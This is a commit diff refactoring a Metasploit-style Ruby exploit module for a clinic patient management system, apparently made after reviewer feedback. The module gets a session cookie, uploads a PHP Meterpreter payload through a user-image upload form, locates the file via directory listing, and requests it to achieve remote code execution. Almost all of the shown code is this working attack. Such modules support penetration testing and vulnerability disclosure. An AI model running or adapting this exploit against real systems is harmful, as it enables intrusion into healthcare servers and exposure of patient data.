Modified the code logic as instructed by the reviewer & removed the instance variable

Author: aaryan-11-x

modules/exploits/multi/http/clinic_pms_fileupload_rce.rb

@@ -63,15 +63,15 @@ def check
       'method' => 'GET'
     })
 
-    unless res_session && res_session.code == 302 && res_session.get_cookies
+    unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
       print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
-      CheckCode::Unknown
+      return CheckCode::Unknown
     end
 
     phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
     if phpsessid.nil?
       print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
-      CheckCode::Unknown
+      return CheckCode::Unknown
     else
       phpsessid = phpsessid[1]
       vprint_good("Obtained PHPSESSID: #{phpsessid}")
@@ -193,7 +193,8 @@ def upload_shell
     random_user = Rex::Text.rand_text_alphanumeric(8)
     random_password = Rex::Text.rand_text_alphanumeric(12)
     payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
-    print_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
+
+    vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
 
     post_data = Rex::MIME::Message.new
     post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
@@ -211,39 +212,37 @@ def upload_shell
 
     fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
     print_good('Payload uploaded successfully!')
-    register_file_for_cleanup(actual_detection_filename, payload_filename) if datastore['DELETE_FILES']
-    payload_filename
-  end
 
-  def fetch_uploaded_filename
-    vprint_status('Retrieving directory listing from /pms/user_images...')
-    sleep datastore['LISTING_DELAY'] # Allow time for the file to be saved on the server
+    # Verify the presence of the uploaded file in the directory listing
+    vprint_status('Retrieving directory listing to confirm the uploaded payload...')
+    sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
 
-    res = send_request_cgi({
+    res_listing = send_request_cgi({
       'uri' => normalize_uri(target_uri.path, 'user_images/'),
       'method' => 'GET'
     })
 
-    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res && res.code == 200
+    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
 
     # Search for the uploaded filename
-    match = res.body&.match(/href="(\d+#{Regexp.escape(@uploaded_filename)})"/)
+    match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
     fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
-    match[1]
-  end
 
-  def execute_shell(uploaded_file)
-    shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_file)
-    print_status("Executing the uploaded shell at #{shell_url}...")
-    send_request_raw({
-      'uri' => shell_url,
-      'method' => 'GET'
-    })
+    actual_filename = match[1]
+    vprint_good("Verified payload presence: #{actual_filename}")
+    register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
+    actual_filename
   end
 
   def exploit
-    @uploaded_filename = upload_shell
-    final_filename = fetch_uploaded_filename
-    execute_shell(final_filename)
+    # Upload the shell and retrieve its filename
+    uploaded_filename = upload_shell
+
+    # Construct the URL for the uploaded shell
+    shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
+    print_status("Executing the uploaded shell at #{shell_url}...")
+
+    # Execute the uploaded shell
+    send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
   end
 end